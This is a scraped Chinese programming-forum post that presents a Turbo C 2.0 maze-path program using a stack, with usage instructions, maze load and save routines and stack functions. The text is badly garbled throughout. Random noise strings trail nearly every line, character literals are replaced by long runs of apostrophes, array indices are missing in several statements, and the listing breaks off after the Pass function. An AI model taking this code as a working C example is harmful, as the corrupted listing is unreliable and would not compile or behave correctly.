QQ登录

只需要一步,快速开始

 注册地址  找回密码
查看: 7653|回复: 8
打印 上一主题 下一主题

C语言技术文章

[复制链接]
字体大小: 正常 放大
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

跳转到指定楼层
1#
发表于 2004-10-4 02:34 |只看该作者 |倒序浏览
|招呼Ta 关注Ta
<DIV  align=left>
2 d1 @" M  @5 ^< align=left>程序目的:
; h2 o9 X  t) |) C输入一个任意大小的迷宫,用栈求出一条走出迷宫的路径,并
: p. K, V% {( C* W+ `3 t2 T; v显示在屏幕上。. e: ^4 S/ D) m8 S
程序实现:
/ V9 r. ]  y0 b; b7 S5 R! L可以实现载入迷宫和保存迷宫,附带文件中有4个测试迷宫路径的
! v3 n# ?9 R, ~! A$ C* f文件test1~4.dd。请将这些文件拷贝到TC当前目录下,或者在载: _: P$ F( `% C$ i; G  {
入时写明完全路径。由于屏幕大小的限制,当用户自己输入迷宫
% ]5 [8 Q' q; `7 b时一定要注意:迷宫大小是有限制的,不小于4*3,不大于30*20。: _9 _3 N" ]* R1 `3 r8 f1 S: w: \: v
否则会出现错误信息。输入开始时全是墙,用上下左右键移动,* G1 E1 T! p% v/ x
用Del键删除墙,形成通路,用Enter键添加墙。输入结束时可以3 f, Z  f% M/ N, u. a* M% F
将迷宫保存下来,以dd为扩展名。输入完毕时用F9键来得到结果,' }1 h+ J# d) p& Q' B
找到路径时,屏幕下方会出现Path found,否则出现Path not found。- U9 ^/ k1 p& M4 `
程序经Turbo C 2.0编译调试成功。运行时不用添加任何运行库。4 @( m; [; ^1 e& |& _0 X1 [
不可以在VC上编译。! l  f7 N1 j: F8 z4 B1 [
下载DOS版和windows版的迷宫游戏全部代码
9 N* x2 R- P8 ?" L# b用户名:migong 2 `' {% Y/ B) {" W/ \: e. \
----------------------------------------------------------------------------------
# A2 O7 y2 [" ^3 a9 c" l/*
7 R  Y7 J- M' R  V7 vMazePath Demo BY Turbo C 2.0
  p' j% o( L, _Copyright(c) RoverUnion. All right reserved.
2 ]# m' ]9 A) ], h# Z5 _% IFilename: Maze.c
2 f& U6 j- i5 F) q2 N5 |Author Dongchengyu.5 p5 b' h- a* f. l% h8 E
Ver 1.10
" \+ ?  [! M* q$ J) G' s*/
; m$ Z% r. m5 b" ^9 @' F/ D$ e" K#include &lt;stdio.h&gt;
" L# o8 `- U* |( `- E4 I! R6 [#include &lt;stdlib.h&gt;
" x+ _' m* M- _0 r6 J0 [; R% x7 e#include &lt;malloc.h&gt;- u8 v! V, y  Q7 ]9 E
#include &lt;conio.h&gt;+ I: o* x. z$ H; U7 g6 s4 l& b2 N
#include &lt;dos.h&gt;3 H7 i# J7 h4 E# Q4 I) R
#define OK 1/ ^- {9 \& W2 n/ d) X' u' F) d7 k
#define ERROR 01 L* i, c7 @  g  G! F
#define TRUE 1
( x/ y; e* R/ n* C- H  E! c#define FALSE 0
7 c3 @$ `8 L& `#define F9 0x43
% c0 d/ g0 E, `- B+ W' L/ ^#define Esc 0x1b0 q0 |4 M: D( [5 _7 J, {# a+ k
#define Del 0x53' U. I: ~- n9 v
#define Home 0x47% y0 M- p- ^# ]: ]9 B, F' `5 u* u% Q
#define End 0x4f
8 P! D* a, T) E7 n3 U4 t  N#define Space 0x201 S$ x1 T% i8 e6 ?1 h$ g5 d% W- o
#define Up 0x48
: Z; O8 r. k9 |" ~9 B7 o#define Down 0x50
0 @+ F6 }! K! B- [) U#define Left 0x4b4 }" r; S7 h& `, y: _
#define Right 0x4d
5 u% |: v4 P+ n7 [. A#define Enter 0x0d
9 X0 [7 n* g' l( J9 u" d#define F2 0x3c
$ v, s3 U# e* [* ^7 k" Z#define F3 0x3d
) _; R- m8 i+ D2 P. X3 N6 e#define STACK_INIT_SIZE 2005 S4 m$ }/ U' m5 B: [1 Z
#define STACKINCREMENT 100 ?' n* w( L9 X' ^3 O
typedef int Boolean;
# V7 I3 D8 ?8 S" utypedef int Status;- h- R1 J$ r4 v) ]
typedef struct {
% a- |; n: B, \int x;+ ~$ Q! h5 Y, {6 {8 ]% H( C- R
int y;& t7 G- j# o: \: E' R0 H/ v: Y* l
} PosType;: N7 t( X% ^; M* S; ^- v
typedef struct {
' R! ^6 v5 Y& f# sint ord;
$ e5 f5 K  y5 F6 k3 ~, J9 Z9 ~PosType seat;, ~/ R) J5 L0 M6 t. {0 r
int di;
$ o  S. b4 F8 t6 t, N} SElemType;
8 z5 C' O$ r8 D. x4 S# Z! Etypedef struct {
" `9 l  ^; G: r  ?int td;
$ h& U3 |" \/ P) _8 A# F4 mint foot;
% }7 W$ a5 V1 Z0 I! Kint mark;
% b, e' k0 S$ `: X" R+ W( C7 e. R# j0 s} MazeType;5 V2 Z( s7 a8 |
typedef struct {) f4 h4 J1 v9 ?: }; o
SElemType *base;% c; B6 b7 I$ H7 n% D, p
SElemType *top;
: R! s$ @, o5 ?' V) Y! Vint stacksize;, h: c" ]: F: n6 q, i2 @! Z1 Y/ _
} Stack;
8 o1 q( R, H' x* y5 }+ h, }4 Oint Maze[20][30];$ B  [. f& W9 `$ q* h1 a
MazeType maze[20][30];& X, g5 v- c0 ^% G+ C; h
PosType StartPlace;/ a4 @" }6 e5 E. J+ _# u
PosType EndPlace;- ~6 B6 w! B+ p) M" N3 P3 x! q
int count;* k; }( G4 F6 D9 b+ [
int m,n;
; W' n0 Y8 `2 ~- j4 [$ m* QBoolean b_start=FALSE,b_end=FALSE;
1 D9 m: ^. z; T- ?% F; J( J3 Y) h2 [void CreatMaze(void);
7 @. f9 {" k8 c4 WStatus SaveMaze(char *filename);0 j5 T6 j) q8 F7 z; Y5 A: ]0 a6 ]
Status LoadMaze(char *filename);
" C& I5 R2 m; @* H, Xvoid Error(char *message);
) l/ q5 ?# {, Q8 B! x- A* YStatus InitStack(Stack *s);1 L( `$ Q# P1 z7 Q& c+ Y8 R
Status DestroyStack(Stack *s);- E: E; ]8 |/ L# A. ~
Status ClearStack(Stack *s);+ D7 j2 r9 r3 P
Boolean StackEmpty(Stack *s);8 h' v7 r+ }1 m4 U9 g3 ?! l
int StackLength(Stack *s);
! p  Z" g- I' e8 j  l* Q) JStatus Push(Stack *s,SElemType e);
3 V1 F( v1 w2 }* ySElemType Pop(Stack *s,SElemType e);5 E: P; v/ X; W6 ?. `' W; y3 x7 e7 U. o
Status GetTop(Stack *s,SElemType *e);, L  L2 Y2 N5 J, s& u5 P
Status StackTraverse(Stack *s,Status (* visit)(SElemType *se));0 _& Q7 W& U' V4 [
Boolean Pass(PosType curpos);6 I8 r! D  t# n, ~4 z, j5 `+ b" Y# e
void MarkPrint(PosType seat);
) q$ y* A5 }, f6 c3 v* Z( p: ~8 gvoid FootPrint(PosType curpos);- v" _* V( P: Y* _2 d
PosType NextPos(PosType seat,int di);
) z0 t- E4 T4 d& UStatus MazePath(PosType start,PosType end);6 ?) R" K, R: o- J. _
void CreatMaze(void)5 r0 [- p3 ]: K2 e' b7 ~, P
/* Form the maze. */
9 Z* H, n# Y( n3 x$ E' [{
( n2 e- O* ~7 d' j4 t" evoid Error(char *message);
2 x7 [7 B  J+ L, nStatus SaveMaze(char *filename);
+ q4 M1 l( B- S( ^Status LoadMaze(char *filename);$ }1 s2 |7 b. C( T& z' R
int i,j;2 }6 w+ l- U% K4 z7 J
int x,y;/ J4 V& `( g# \3 I, g0 c2 R2 K
char c;
( p/ A  S5 Y6 H, lchar savename[12],loadname[12];
+ q* F* v, ^: u8 N/ lBoolean flag=FALSE,load=FALSE;: p# e) y4 ?$ R. l& a
clrscr();
3 K6 C+ s2 {- \% |& xprintf("Menu:\n\n");
9 U8 {1 c' [$ t# Mprintf("1.Load Mazefile*.dd)\n\n");# n; b, s3 E2 W' R9 x
printf("2.Input Maze:\n\n");
9 Q/ z) m' b( p7 _printf("Input your choice: ");
6 A: g7 Z% o0 c  ~6 qdo! z5 }$ S  F' f
{
" U2 T/ y2 v' m2 ec=getch();
4 N1 _# @  H6 @7 D$ N6 Z5 S( jswitch(c)
* O2 L) B5 ?  g7 C3 ~{' R3 Q9 D# R0 C  q* ^
case ''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''': putch(''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''); break;
* C% E$ N) c: N% _case ''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''': putch(''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''); break;% b+ t1 G* j$ [
case Esc: sleep(1); exit(1);, _, u& p" k( M4 O: a
default: break;
$ z3 k; V: e9 g# v8 h, b}: z+ J* [* x1 }0 G: E
}- c) F& [. R$ W2 Y. z- w# a3 P- A  F% J" X
while(c!=''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''&amp;&amp;c!=''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''') ;0 Q' T8 _7 y* F
if(c==''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''). `6 D0 k" ^# }" h1 W
{! A$ G, P7 f/ J% k
printf("\n\nLoadName: ");
, F0 ]9 S+ E& k# g) z$ {scanf("%s",loadname);* Z+ I4 w+ r5 q+ J" v0 E1 U$ @
if(LoadMaze(loadname))
3 X" d/ Q, y& i7 k7 ^6 d{2 [) Q! D5 U' Z% T
sleep(1); load=TRUE;
; y. \" `, p8 N' W% X}
% C" }1 U; [5 o' s( Welse { gotoxy(1,9); printf("Load fail! "); }
0 F/ L7 E- p! \, Y% A/ }}
5 F( _  Z2 H: u: Nif(!load)
$ a& n% y1 W  U{) ]/ `' ?# I9 t, b% `6 y: a
printf("\nInput the maze''''''''''''''''''''''''''''''''s size:\n");) a3 t7 H2 u8 v; V4 B
printf("\nInput Length :\n");: [7 j5 j" A3 a( T8 x3 T
scanf("%d",&amp;m);
- o( k) B: B* o) ?printf("\nInput Width :\n");5 d8 P' u' i  S
scanf("%d",&amp;n);' M  B: y" k  W* u
if(m&lt;4||n&lt;4) Error("Input");
2 a6 ?0 j$ c+ u2 q  `if(m&gt;30||n&gt;20) Error("Maze too large");
9 J% \, b0 j% [0 Gfor(i=0;i&lt;30;i++)% z9 W& I% b. ^3 {4 d% Y
for(j=0;j&lt;20;j++)
/ g$ i, r& c* E4 zMaze[j]=2;
8 i8 _* z; R2 R/ V% c  G: QStartPlace.x=0;
, \6 Z5 ^" F1 [3 _* Z% OStartPlace.y=0;
" q8 y! l1 _  B5 K6 Y6 t9 U4 jEndPlace.x=0;0 C6 W. e2 C4 @" Q
EndPlace.y=0;
1 W) C( o9 o0 Y/ C  w3 o: @clrscr();" q: a/ V6 t- E% k$ W  |
printf("\n");7 C* t! ^$ z) f  |
for(i=1;i&lt;=n;i++)# \, e3 y' A; c3 w: S
{
( a- I* J- N0 ?for(j=1;j&lt;=m;j++)
$ M% |; o( M- z8 b% p8 d" U{
! O0 {; H! J; K$ W+ S# L/ G; ~printf(" #");
6 \  h/ y) H/ H3 f; N) XMaze[i-1][j-1]=0;  z1 x. f* |; f2 [4 ~" R! G$ r
}
; k4 I% \6 r* B" ^3 eprintf("\n");0 C" G3 S4 X5 G+ J# R/ ?4 H
}. @3 }2 w0 r0 u6 M/ I% n6 Z0 ]
}
) \) k2 D6 @5 V: ?gotoxy(65,5);7 Z( K/ d/ `: A7 O
printf("''''''''''''''''''''''''''''''''#'''''''''''''''''''''''''''''''':Wall");
3 r, l% [0 u/ L! F' }% dgotoxy(65,7);
* P8 e$ q- c. Q# b& T$ d! ]printf("Start:Home");$ B& Q( r; |. _/ p) j  H1 M( p9 [
gotoxy(65,9);# i; A7 U5 I5 g
printf("End:End");
( z9 ]* k, {% S, d$ m8 Bgotoxy(65,11);, O  j9 r1 m" `/ W6 S% T+ {1 A
printf("Delete Wallel");3 K- c9 Y  [& f# _
gotoxy(65,13);; c6 d, Z; b. c# r* I0 l8 f( e
printf("Enter Wall:Enter");& e$ E4 c. l2 a
gotoxy(65,15);
$ R; g& P: k- {printf("Save Maze:F2");
- L9 C2 \3 R, [( e: w4 Zgotoxy(65,17);" M( T0 \# \& L" x4 Q5 a# f* g
printf("Complete:F9");
. R# M0 r6 g9 m" _gotoxy(65,19);
) T) |) V& [$ r& _printf("Exit:Esc");; @. ?0 t' f( H5 t; W, ]/ q( m
gotoxy(4,3);5 B8 q6 S. G  H8 k0 l' m0 S
x=4;y=3;
: {0 I' X7 A8 {6 q: Jdo
* N! T3 F. q, |6 r$ K{
, i4 b1 Q. I$ d9 C( Pc=getch();
  |* C# n+ p8 T4 L& U" Y+ mswitch(c)% B/ T1 F3 S" _* Z( r2 [
{: F- n& T" b" j; V, J) _
case Up: if(y&gt;3) { y--; gotoxy(x,y); }# h3 r- Y- k$ p+ _3 X/ z0 Y
break;
3 g. c/ J2 }4 e8 \+ j6 fcase Down: if(y&lt;n) { y++; gotoxy(x,y); }% H8 u  @. G* ]! A
break;
; P" {6 y  a1 q) o+ \; K9 O% Ucase Left: if(x&gt;4) { x-=2; gotoxy(x,y); }  Q9 ?' s( u* D: V3 N6 j' G
break;
: @5 N5 ^; I/ L, Dcase Right: if(x&lt;2*m-2) { x+=2; gotoxy(x,y); }7 X. e+ ?) z! g* g$ ~* \% O1 c
break;2 {- G6 i- a2 p
case Del: if(y-2==StartPlace.y&amp;&amp;x/2-1==StartPlace.x) b_start=FALSE;" Y2 g7 M# D* p0 Q) T/ O  m4 W
if(y-2==EndPlace.y&amp;&amp;x/2-1==EndPlace.x) b_end=FALSE;7 A) I* N; S7 e
putch('''''''''''''''''''''''''''''''' ''''''''''''''''''''''''''''''''); Maze[y-2][x/2-1]=1; gotoxy(x,y);$ j4 b( Q+ q8 I' `" g
break;
1 z- `8 d$ L1 X6 I3 ?6 s- @% y1 H: Ecase Enter: if(y-2==StartPlace.y&amp;&amp;x/2-1==StartPlace.x) break;- I/ ]) q% J. N$ |+ d3 ^
if(y-2==EndPlace.y&amp;&amp;x/2-1==EndPlace.x) break;
& h8 Z, k, ?+ W: d; vputch(''''''''''''''''''''''''''''''''#''''''''''''''''''''''''''''''''); Maze[y-2][x/2-1]=0; gotoxy(x,y);5 V% Q; L, h% a4 z4 W  p
break;! v. L) H0 T3 @+ ]
case Home: if(Maze[y-2][x/2-1]&amp;&amp;!b_start)
! O+ d" J5 D) R; Y* Y{; y' i, C6 D2 d% t
StartPlace.x=x/2-1;* T2 u# q# R% W2 A3 i/ p
StartPlace.y=y-2;
" _$ \- D2 [; p. G$ `7 ?putch(''''''''''''''''''''''''''''''''S'''''''''''''''''''''''''''''''');* v- ?2 a: U6 B6 s5 _; ^) t8 |
gotoxy(x,y);
7 Z( _2 Z+ [' d3 Gb_start=TRUE;0 F' V% G$ [, d8 E$ \2 y
}
! X! Y8 p. x) a4 }* H( bbreak;
+ G1 C7 L* s4 F2 d: ycase End: if(Maze[y-2][x/2-1]&amp;&amp;!b_end)
: k4 s3 i9 B6 m6 z1 G2 O! ]{
$ H. [  d& M' n2 f5 @) x% [0 f9 QEndPlace.x=x/2-1;. u/ Z- N; C2 n; |6 I# K
EndPlace.y=y-2;
$ S1 W- S, h0 z1 {putch(''''''''''''''''''''''''''''''''E'''''''''''''''''''''''''''''''');& k; R& |1 }$ U: `
gotoxy(x,y);2 N8 l% |+ Y6 b- M3 O/ A1 O
b_end=TRUE;
) _: S+ k5 U4 a# ?0 a0 y. c}
# F6 [& `& n. w9 ?4 zbreak;
2 U- G2 i* h: ~2 P2 e+ Zcase Esc: gotoxy(2,22); printf("exit"); sleep(1); exit(1);0 E+ Q0 T  x( v' r2 B. X! }! n
case F9: if(b_start&amp;&amp;b_end) flag=TRUE; break;8 |& f" ?) S3 B4 @/ p1 d5 F  k2 ?
case F2: gotoxy(2,22);6 T: }9 L$ W6 C$ r% Y, l  H
printf("Savename:");- ^7 A% x1 ]1 b4 \, g2 D
scanf("%s",savename);
( I( i0 `, t1 U1 J6 ^gotoxy(2,22);
' s% x) D. |$ p% K/ {# g& Q4 ^7 Aif(SaveMaze(savename)) printf("Save OK! ");
3 Z# c# I5 O0 D4 }+ relse printf("Save fail! ");- y- L  T7 u, E, S* K
sleep(1);* w* V: z2 u) w: V+ e6 s* k- {& ^5 P
gotoxy(2,22);
5 E( a" v/ z9 F  o, rprintf(" ");
# ]7 K% b9 H0 B3 t5 b- s- I- D: Ygotoxy(x,y);  t6 G: y/ b; q' T( P
break;
, k+ C9 k7 O; M0 @# Qdefault: break;' ^( P2 ]3 G) b, a( Z8 v+ v$ m# v
}
% m" H' P/ m# ]' d# u; f( j( S2 w3 H}7 n$ j- z* c# [/ `
while(!flag);
9 e! a5 H) Y, Y  W0 z; I/ Wfor(i=0;i&lt;30;i++)# E" ~& Q" \9 }2 j, {0 g# _
for(j=0;j&lt;20;j++)+ o. S  e$ U0 e
{
( W6 w) R( X4 J  W. Qmaze[j].td=Maze[j];$ g4 h  m+ g3 q0 P$ w+ K
maze[j].mark=0;4 Q, R% D; H# I
maze[j].foot=0;+ Y0 I2 d2 Q( F
}
4 S2 u1 F' U3 q9 o" i/ p$ n}
, B& l( y0 |4 K$ eStatus LoadMaze(char *file)+ R  P4 f$ _  O2 b2 G0 Y% \( H
/* The maze has been loaded. */
  u. ]( {0 F/ l. Z{; E1 o( @& n0 _' @
FILE *fp;! F# U3 L2 D7 Q% X( w
char *buffer;& s4 G! r  O) y1 q
char ch;# F0 h0 X  j6 _7 y$ |4 p  b
int i=0,j,k;
6 A. b% |; }) TBoolean len=FALSE,wid=FALSE;
, h1 M1 _7 k9 Uif((fp=fopen(file,"r"))==NULL)
' M/ k, y+ o; Yreturn ERROR;! i0 S) A: H  ]: W: I
buffer=(char *)malloc(600*sizeof(char));. D5 m8 \/ j" a0 _
ch=fgetc(fp);
$ Q0 D% `% I0 y# I. swhile(ch!=EOF)% o1 A+ j. C( W# A
{$ F* u& m9 V4 V5 H* p
buffer=ch;6 g( o9 n* v' S- L1 M% j; c
i++;  N* L  u, \# H6 [0 j% X
ch=fgetc(fp);
% d: L* S) [& q}
4 a$ E% i4 ?6 ]4 \0 X2 p- ]m=30;n=20;
8 j. M( g) d* I1 ^9 j9 {for(i=0;i&lt;600;i++)
4 B0 m6 x  c0 t8 [; ]{
5 g7 }7 ^& u" v( E# ~j=i/30; k=i%30;
$ C& \$ H6 ]5 Lif(buffer==''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''&amp;&amp;!len){ m=i; len=TRUE; }
7 v! {% Y% C4 c+ p4 `) Sif(k==0&amp;&amp;buffer==''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''&amp;&amp;!wid){ n=j; wid=TRUE; }1 M: j& P$ U! q) s. P$ q% `1 ]! F9 s
switch(buffer)
! x5 t. o. e! q/ x! k0 g{
% B4 N; A1 i# F- Rcase ''''''''''''''''''''''''''''''''0'''''''''''''''''''''''''''''''': Maze[j][k]=0; break;0 @; |4 [& ]0 S# N$ ^
case ''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''': Maze[j][k]=1; break;! y/ u$ ~% ^' y1 o. T# n& ^
case ''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''': Maze[j][k]=2; break;
: S# b8 K6 N) Z0 O- k4 Kcase ''''''''''''''''''''''''''''''''3'''''''''''''''''''''''''''''''': Maze[j][k]=1;
6 a. H$ b1 I6 |9 \StartPlace.x=k;
5 k: r; _/ z5 D: J9 |StartPlace.y=j;
/ `7 E: V& p2 d: S! p) Zb_start=TRUE;
! D8 n! n" l% j0 ybreak;
  Z+ V& U/ e- I! @" W8 ccase ''''''''''''''''''''''''''''''''4'''''''''''''''''''''''''''''''': Maze[j][k]=1;
" r! \( C; K& H4 i: F; TEndPlace.x=k;& S& ]4 q. S3 t# P% x( {1 A
EndPlace.y=j;; t# R, }& @3 w9 z3 U
b_end=TRUE;
2 M/ M5 K  [$ p) sbreak;. w( F6 U& Q' ~: f! l' t
default : break;
) @- O0 O9 P0 u( s6 o( X3 U}) Z& U; h! E7 s# i7 [1 `
}% l" v$ v% c. F
fclose(fp);/ f' \2 L- P/ G6 y* h+ N9 \
clrscr();: J  |% X; z8 F1 k
for(i=0;i&lt;30;i++)/ t" B# X* [* z/ S
for(j=0;j&lt;20;j++)+ U9 X$ l1 ^2 N0 P( q+ [, R& y( k
{
( a6 C- V: {; ?' r) k7 E# cmaze[j].td=Maze[j];, j0 [3 M' Q/ w4 I* u2 e
maze[j].foot=0;" w  r8 l0 F3 \$ i3 H- R0 |: J
maze[j].mark=0;& ?8 h3 t2 ^9 f- T
if(Maze[j]==0)% P, R0 m: N& }' H# b) c" Z* Y6 k
{, G$ E9 q$ W1 o1 w2 i
gotoxy(2*i+2,j+2);
0 f" \& z$ {! ?( o# x% Nputch(''''''''''''''''''''''''''''''''#'''''''''''''''''''''''''''''''');3 Q9 B3 R% K7 g- ~+ p  w
}6 R# A: D4 ]) ^% U8 g+ Q/ ]
}  z* }6 y! i6 t3 a% V
gotoxy(2*StartPlace.x+2,StartPlace.y+2);* y3 c' n6 `9 y, I, s
putch(''''''''''''''''''''''''''''''''S'''''''''''''''''''''''''''''''');
8 p; z1 T) b; ^% f/ d9 Agotoxy(2*EndPlace.x+2,EndPlace.y+2);3 E' a* a5 j( ]! S" t
putch(''''''''''''''''''''''''''''''''E'''''''''''''''''''''''''''''''');6 A( `  {# F: N; V: c7 v+ l
return OK;
" Z; x- t$ Y3 f3 u' J2 t0 Z}7 d- N( O1 d0 H" C
Status SaveMaze(char *filename)  {6 ^) V) E; P- H! \
/* The maze has been saved. */# i8 G) m6 @/ F8 Q8 g: @
{
7 l9 V) N9 f  e4 _" BFILE *fp;
/ |" t+ P  S) j( W$ M4 l* ?. I( fchar *buffer;7 A" P8 }, r" t( X
int i,j,k;
; J, }& H7 M" V! t3 Xfp=fopen(filename,"wb");+ N' t1 \/ N' o4 v2 V9 \% t2 l& v
buffer=(char *)malloc(600*sizeof(char));
% p; y! C3 B) Z# K8 R5 k8 wfor(i=0;i&lt;600;i++)
) K/ T; g2 T6 O/ h% M{& d2 w; t8 n0 `  m7 x" i
j=i/30; k=i%30;. [! F4 P( K+ O* @1 Y2 ^1 ?
switch(Maze[j][k])0 d. t) q, A5 d  F& f
{
# t5 }, V3 m# [* H( @& Mcase 0: buffer=''''''''''''''''''''''''''''''''0''''''''''''''''''''''''''''''''; break;
' v  w/ `( c4 n/ a* acase 1: buffer=''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''; break;
' u/ z2 r5 \6 H5 v3 {( _) c$ X6 Jcase 2: buffer=''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''; break;
! v) z1 L4 F/ _' |8 h4 N0 p4 k& T/ A- {default : Error("Write"); break;
; Q9 c" y/ Y  G! F}, b$ r3 f: ~% V& f( [9 C7 _  A. P' Z! c
if(k==StartPlace.x&amp;&amp;j==StartPlace.y) buffer=''''''''''''''''''''''''''''''''3'''''''''''''''''''''''''''''''';
5 Y% h( n& @- eif(k==EndPlace.x&amp;&amp;j==EndPlace.y) buffer=''''''''''''''''''''''''''''''''4'''''''''''''''''''''''''''''''';
7 `3 X$ d1 j4 i$ c8 @: h9 j6 M}
" U2 v* X- ^8 N( a+ G& }: Yfwrite(buffer,600,1,fp);- z" u) e* n& t7 f  `* y
free(buffer);
5 N- q% W6 a7 R' M6 J0 ufclose(fp);
. S/ Q2 V* N2 p+ Xreturn OK;
  a+ M4 A: e1 L8 W0 J) H3 z}; e/ z  \+ V0 c& G
void Error(char *message)
" Q' |$ a; R( z2 ^( L4 y6 x+ p, f* L{5 |8 x; V; O5 d
clrscr();
& c, g* |, ^4 q& ^& q; m- j8 kfprintf(stderr,"Error:%s\n",message);* W9 i8 \  o+ [$ ~8 R6 [
exit(1);
, w" Z! R3 N7 q* |: q} /* Error */2 m- x) R& P; K0 S. G1 i
/ \1 W: n. l. X2 o, W4 z- c! c
Status InitStack(Stack *s)( j/ M: V1 ~/ O7 [& R, ~
/* The stack s has been created and is initialized to be empty. */8 D3 s% a: B" O
{( c% l- V7 d1 O0 {, e; Y. l8 d: s& W
s-&gt;base=(SElemType *)malloc(STACK_INIT_SIZE*sizeof(SElemType));
( U/ H$ ?% H3 ]6 C# Tif(!s-&gt;base) Error("Overflow");$ E" W+ g- p) J1 F* W
s-&gt;top=s-&gt;base;
$ G: H. V$ @1 Y7 S, ws-&gt;stacksize=STACK_INIT_SIZE;
9 q6 [; \, b1 i8 F4 }return OK;3 ]% h9 P: E; _6 z9 Z" H8 r
} /* InitStack */% Z: {$ ^. m) V* ^
Status DestroyStack(Stack *s), q' ?: |& O! K& v5 i! N
/* The stack s has been destroyed. */
4 s$ v* s; t8 Y: Q. I% s{9 n* o; |% \* @, ]
s-&gt;top=NULL;  h7 _  s; v! P3 t* t' z
s-&gt;stacksize=0;
6 ?" e3 t- E0 \free(s-&gt;base);
$ u& k: @/ Y5 K/ o$ V) h1 js-&gt;base=NULL;
* L* J" @% N' Q$ x% A$ Yreturn OK;
( h! A3 y( Z) V* a# v$ x' X5 C} /* DestroyStack */
* V2 H  N+ ]% I3 GStatus ClearStack(Stack *s)
) D1 l* s( c2 k: a9 f. C/* The stack has been clear to be maximum. */
8 I9 O+ t. d( h4 G{' Z. N. R3 |( K' y9 l
s-&gt;top=s-&gt;base;. V3 N% x! Q+ y8 z4 O- |, M/ b% c7 J
s-&gt;stacksize=STACK_INIT_SIZE;3 j; L) m1 [  n2 F6 C
return OK;
3 u/ K2 `! a! t$ @0 }. d5 f} /* ClearStack */
' b. j! r: w# u$ E1 jBoolean StackEmpty(Stack *s)) L4 q" a8 y( X* @
/* Check if the stack s is empty. */% _+ r: Z7 P# W8 G5 R/ W! M6 I  X, @4 d
{
2 w  t; o: P& z4 rif(s-&gt;top==s-&gt;base) return TRUE;
) Z, P6 s# z! L9 Pelse return FALSE;) e$ E- k# |. O" e& o6 c- R
} /* StackEmpty */6 ?; T3 F5 k/ A( x
int StackLength(Stack *s)
: ~5 j6 ?6 R1 I8 L1 G/* Gain the length of the stack s. */
& |1 V9 G4 w; G8 z; e2 b{
5 ]5 H4 i& j/ N; i. {if(s-&gt;top&gt;s-&gt;base) return (int)(s-&gt;top-s-&gt;base);% D- T1 \8 @5 u# u0 j6 a
else return 0;
$ i3 v/ x+ {0 n: ~} /* StackLength */1 n& R0 z: P2 d1 s# F/ j! K
Status Push(Stack *s,SElemType e)
( N5 i' h* Q% X  p8 c0 ]3 f% J/ X/* The element e has been pushed into the stack s. */
$ E; X; Q. v: k6 I5 \8 j* [# W4 t{
# `' d8 P, }, Mif(s-&gt;top-s-&gt;base&gt;=s-&gt;stacksize); e/ k# I* j) _6 p4 p9 k
{
% Z# a- l7 @7 f  ^& O! h! ds-&gt;base=(SElemType *)realloc(s-&gt;base,
5 }: H# _; Q" W) ?(s-&gt;stacksize+STACKINCREMENT)*sizeof(SElemType));4 g: ~+ t0 H% j
if(!s-&gt;base) Error("Overflow");2 Z( D7 W3 |8 v2 w
s-&gt;top=s-&gt;base+s-&gt;stacksize;! z$ r; k/ ^8 V1 N# q
s-&gt;stacksize+=STACKINCREMENT;! D3 _! e7 f+ @' |) X
}
' J2 p9 q0 z4 ?*s-&gt;top++=e;" r) _" i* J4 h# Z5 _8 s% D
return OK;
) g/ Q( ^5 F/ U. I2 F8 M} /* Push */! z' A* a- C  N
SElemType Pop(Stack *s,SElemType e)
* F% C' P9 P" v5 k8 r; A+ w/* The element e has been removed from the stack s. */  Z+ d- h' Z* |) L- n4 d
{, C% _0 E, I" `* E( C0 p
if(s-&gt;top==s-&gt;base) Error("op");
4 \# r& S0 ]& ^9 q4 U$ P4 w  ue=*--s-&gt;top;
: |" M' [# N- n& o$ I/ x: i% M9 e# Oreturn e;
$ i) S3 s$ z4 X} /* Pop */
9 H( s9 n3 ~' L. I; `6 }6 PStatus GetTop(Stack *s,SElemType *e)* ^/ t5 r) L8 d% W% |
/* The element e has got to the top of the stack s.*/
+ }, L" `7 v' Q{+ o- O5 t# P9 z9 I/ x( C
if(s-&gt;top==s-&gt;base) Error("GetTop");! {( d% |9 ]9 c# Z; ?. J
*e=*(s-&gt;top-1);0 R' t# g( N% W
return OK;9 N% A+ [& t( }' V$ {5 g- e
} /* GetTop */
- g7 @4 u" M  F' ~6 A! K2 n" L/* Traverse the stack s using ''''''''''''''''''''''''''''''''visiting'''''''''''''''''''''''''''''''' function. */. E) T2 c+ G# k1 v5 }) r
/* Status StackTraverse(Stack *s,Status (* visit)(SElemType *se))
4 i2 w. q5 F2 Z{
  i$ z9 Y! G" w" Q0 \9 gSElemType p;& z0 B$ E7 n. u1 K' ^
int result;  J) J; Y/ X4 e/ G$ c* s7 K
if(s-&gt;top==s-&gt;base) return ERROR;$ x; Z) d3 n% o/ k! c
p=s-&gt;base;
. ^9 S. O, x. z% w7 Qwhile(!(p==s-&gt;top))
+ z1 _6 p3 }* E6 ?8 p{
; d& ^- n' M0 l4 ^0 x& d% \5 @result=(*visit)(p);
+ n* f! @6 s$ j8 v/ @% l; }! `# ~p++;
" _& j4 K/ u$ B}0 ]  i: x; D- d1 r! K
return OK;& s* e6 n3 S0 U4 ~, R( ]. Z- \
} */
4 q# }! n$ T0 `/ \% bBoolean Pass(PosType curpos)
" d! [! B) b& _& b& x" N% h/* Check if the current position can be passed. */5 q) J, h/ `. [  R) n, D' p" A
{' i, _+ f* ~2 V
if(maze[curpos.x][curpos.y].td==1&amp;&amp;
: x! T$ D7 o) W# imaze[curpos.x][curpos.y].foot==0&amp;&amp;maze[curpos.x][curpos.y].mark==0)
) Y  J1 u  y8 oreturn TRUE;$ ^9 e. m- }# y9 O0 x, U
else return FALSE;
% d" C1 D4 ]5 d. t; d! v} /* Pass */) L7 u) ]- c6 ~8 ?; u3 K2 U% s$ @  x
